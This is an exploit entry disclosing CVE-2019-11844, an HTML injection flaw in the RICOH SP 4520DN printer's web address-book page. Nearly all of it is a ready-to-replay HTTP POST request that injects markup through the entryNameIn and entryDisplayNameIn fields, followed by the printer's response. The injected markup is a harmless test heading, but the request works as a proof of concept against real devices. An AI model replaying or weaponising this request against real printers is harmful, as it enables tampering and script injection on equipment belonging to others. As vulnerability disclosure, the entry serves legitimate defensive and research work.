RICOH SP 4520DN Printer - HTML Injection

# Exploit Title: RICOH SP 4520DN Printer - HTML Injection
# Date: 2019-05-06 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: https://www.ricoh-europe.com/products/office-printers-fax/single-function-printers/sp-4520dn.html
# Software: RICOH Printer
# Product Version: SP 4520DN
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: CVE-2019-11844

# An HTML Injection vulnerability has been discovered on the RICOH SP 4520DN via the /web/entry/en/address/adrsSetUserWizard.cgi
# entryNameIn or entryDisplayNameIn parameter.

# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/web/entry/en/address/adrsList.cgi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 219
DNT: 1
Connection: close
Cookie: risessionid=110508462500758; cookieOnOffChecker=on; wimsesid=598742008

mode=ADDUSER&step=BASE&wimToken=279565363&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3ETEST%3C%2Fh1%3E&entryDisplayNameIn=%22%3E%3Ch1%3ETEST%3C%2Fh1%3E&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1

# HTTP Response :

HTTP/1.1 200 OK
Date: Mon, 06 May 2019 11:00:09 GMT
Server: Web-Server/3.0
Content-Type: text/plain
Expires: Mon, 06 May 2019 11:00:09 GMT
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

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